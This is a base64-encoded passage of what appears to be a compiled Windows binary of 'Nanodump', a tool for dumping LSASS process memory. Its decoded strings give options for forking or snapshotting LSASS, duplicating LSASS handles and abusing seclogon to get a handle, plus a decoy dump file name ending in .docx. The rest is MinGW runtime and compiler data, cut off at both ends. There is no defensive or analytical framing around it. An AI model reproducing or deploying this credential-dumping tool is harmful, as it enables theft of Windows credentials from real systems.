XRlIERVTVBfUEFUSCwgLXcgRFVNUF9QQVRIACAgICAgICAgICAgIGZpbGVuYW1lIG9mIHRoZSBkdW1wACAgICAtLXZhbGlkLCAtdgAAAAAgICAgICAgICAgICBjcmVhdGUgYSBkdW1wIHdpdGggYSB2YWxpZCBzaWduYXR1cmUAICAgIC0tZm9yaywgLWYAICAgICAgICAgICAgZm9yayB0aGUgdGFyZ2V0IHByb2Nlc3MgYmVmb3JlIGR1bXBpbmcAICAgIC0tc25hcHNob3QsIC1zAAAAICAgICAgICAgICAgc25hcHNob3QgdGhlIHRhcmdldCBwcm9jZXNzIGJlZm9yZSBkdW1waW5nACAgICAtLWR1cCwgLWQAAAAAICAgICAgICAgICAgZHVwbGljYXRlIGFuIGV4aXN0aW5nIExTQVNTIGhhbmRsZQAgICAgLS1tYWxzZWNsb2dvbiwgLW0AAAAAICAgICAgICAgICAgb2J0YWluIGEgaGFuZGxlIHRvIExTQVNTIGJ5IChhYil1c2luZyBzZWNsb2dvbgAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAICAgICAgICAgICAgZnVsbCBwYXRoIHRvIHRoZSBkZWNveSBiaW5hcnkgdXNlZCB3aXRoIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uACAgICAtLWhlbHAsIC1oAAAgICAgICAgICAgICBwcmludCB0aGlzIGhlbHAgbWVzc2FnZSBhbmQgbGVhdmUAAABOYW5vZHVtcCBkb2VzIG5vdCBzdXBwb3J0IFdvVzY0AC0tZ2V0cGlkAC12AC0tdmFsaWQALXcALS13cml0ZQBtaXNzaW5nIC0td3JpdGUgdmFsdWUALXAALS1waWQAbWlzc2luZyAtLXBpZCB2YWx1ZQAwMTIzNDU2Nzg5AEludmFsaWQgUElEOiAlcwAtZgAtLWZvcmsALXMALS1zbmFwc2hvdAAtZAAtLWR1cAAtbQAtLW1hbHNlY2xvZ29uAC1zMgAtLXN0YWdlMgAtYgAtLWJpbmFyeQBtaXNzaW5nIC0tYmluYXJ5IHZhbHVlAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAABUaGUgYmluYXJ5ICIlcyIgZG9lcyBub3QgZXhpc3RzLgAtaAAtLWhlbHAAaW52YWxpZCBhcmd1bWVudDogJXMASWYgTWFsU2VjTG9nb24gaXMgYmVpbmcgdXNlZCBsb2NhbGx5LCB5b3UgbmVlZCB0byBwcm92aWRlIHRoZSBmdWxsIHBhdGg6ICVzAFRoZSBvcHRpb25zIC0tZm9yayBhbmQgLS1zbmFwc2hvdCBjYW5ub3QgYmUgdXNlZCBhdCB0aGUgc2FtZSB0aW1lAExTQVNTIFBJRDogJWxkAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAASWYgLS1kdXAgYW5kIC0tbWFsc2VjbG9nb24gYXJlIHVzZWQsIHlvdSBuZWVkIHRvIHByb3ZpZGUgYSBiaW5hcnkgd2l0aCAtLWJpbmFyeQBUaGUgb3B0aW9uIC0tYmluYXJ5IGNhbiBvbmx5IGJlIHVzZWQgd2l0aCAtLW1hbHNlY2xvZ29uIGFuZCAtLWR1cAAAAEB/QAAAoEEABKBBAABoQQAckEEAAAAAAAAAAABVbmtub3duIGVycm9yAAAAX21hdGhlcnIoKTogJXMgaW4gJXMoJWcsICVnKSAgKHJldHZhbD0lZykKAABBcmd1bWVudCBkb21haW4gZXJyb3IgKERPTUFJTikAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFRoZSByZXN1bHQgaXMgdG9vIHNtYWxsIHRvIGJlIHJlcHJlc2VudGVkIChVTkRFUkZMT1cpAAAAVG90YWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFRMT1NTKQAAUGFydGlhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoUExPU1MpAAAAACgNQQBHDUEAZA1BAIQNQQC8DUEA4A1BAE1pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgBBZGRyZXNzICVwIGhhcyBubyBpbWFnZS1zZWN0aW9uACAgVmlydHVhbFF1ZXJ5IGZhaWxlZCBmb3IgJWQgYnl0ZXMgYXQgYWRkcmVzcyAlcAAAAAAgIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCB3aXRoIGNvZGUgMHgleAAAI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